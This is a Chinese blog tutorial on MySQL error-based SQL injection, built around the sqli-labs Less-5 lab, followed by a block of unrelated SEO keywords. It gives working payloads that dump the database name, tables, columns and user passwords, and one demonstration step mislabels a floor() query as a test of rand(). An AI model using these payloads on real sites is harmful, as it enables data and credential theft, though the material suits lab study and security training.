千家信息网

mysql get基于报错的盲注方法是什么

发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,这篇文章主要讲解了"mysql get基于报错的盲注方法是什么",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"mysql get基于报错的盲注方法是什么
千家信息网最后更新 2026年11月02日mysql get基于报错的盲注方法是什么

这篇文章主要讲解了"mysql get基于报错的盲注方法是什么",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"mysql get基于报错的盲注方法是什么"吧!

报错注入

报错注入就是在注入过程中黑客根据错误回显进行判断。 形式上是两个嵌套的查询,即select...(select...),里面的select被称为子查询,他的执行顺序也是先执行子查询,然后再执行行外面的select,双注入主要涉及到一下sql函数:

rand()随机函数,返回0~1之间的某个值floor(a)取整函数,返回小于等于a,且值最接近a的一个整数count()聚合函数也称作计数函数,返回查询对象的总数group by clause分组语句,按照查询结果分组通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

less-5为例演示

首先使用报错注入:构造语句

1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

显示结果

  • 为什么会出现这样的情况,因为当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

  • 那么,对这个语句中的函数(也就是上面的4个函数)进一个一个学习: 在本地连接数据库,查询测试一下concat()的用法。

输入: select concat('qwe','abc');

看到将qwe和abc拼接在一起

然后测试一下rand()这个随机函数:

输入语句:select floor(1.2343232);select floor(3.893);

一共输入的三次,每次输出的数都是随机,但是这些数都是大于0,小于1的数

然后测试一下floor()函数

输入语句:select floor(1.2343232);select floor(3.893);

输出的都是小于或者等于输入的数

然后测试一下双注入查询的组合

输入的语句:select floor(rand()*2);

分析一下,从里往外走,rand()*2永远不可能等于2,不可能小于0;所以floor取整就是1,或者就是0

在深入一下,测试:

select concat((select database()),floor(rand()*2));

看到concat将数据库和后面的取整,合并在一起了。 同理,在less-5的第一个报错语句concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a

0x3a是:号,所以就将他们拼接起来。

  • 如果在后面加上from emails表的话,那么返回的结果就是security0和security1的集,总共有多少条呢,那就要看表里面有多少列信息。

下面,加上group by语句。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

as a就是将查询的concat((select database()), floor(rand()*2))名字另取a;然后用group by a进行分组。这样相同的security0和security1分别分成一组,也就是两组,也是两种结果。

然后我们加上聚合函数count(*)

select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;

同理,less-5第一报错:

参考教程

1.爆出数据库

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

页面显示:

2.爆出表

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

3.爆出列名

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+

4.获取用户信息

构造语句:

1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

感谢各位的阅读,以上就是"mysql get基于报错的盲注方法是什么"的内容了,经过本文的学习后,相信大家对mysql get基于报错的盲注方法是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

语句 函数 查询 就是 输入 测试 方法 结果 分组 学习 信息 数据 数据库 时候 也就是 内容 形式 情况 错误 输出 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中智农互联网科技 广州万易互联网科技有限公司 互联网科技工作委员会主任 北京路客互联网科技有限公司 互联网科技工作委员会副主任毛军 广州百单互联网科技有限公司 科技金融是不是互联网金融 汉立互联网科技有限公司联系电话 温州喔噻互联网科技有限公司 互联网为啥属于高科技 移动互联网年度科技创新 玉溪互联网科技怎么选 互联网科技大奖都有哪些公司 长沙互联网科技 恒生互联网科技业指数调整周期 高科技互联网套路 南通创西澳互联网科技有限公司 广州富喜互联网络科技 西安有哪些互联网高科技企业 陕西彩京云互联网科技有限公司 疫情对互联网科技公司影响 互联网巨头反垄断金融科技 深圳艾佳互联网科技 亿人帮互联网科技 互联网校园科技培训 广州新华互联网科技学校电竞方面 从那以后互联网科技有限公司 上海互联网科技公司ppt 伍佰万互联网科技是干嘛的 互联网科技企业文化
0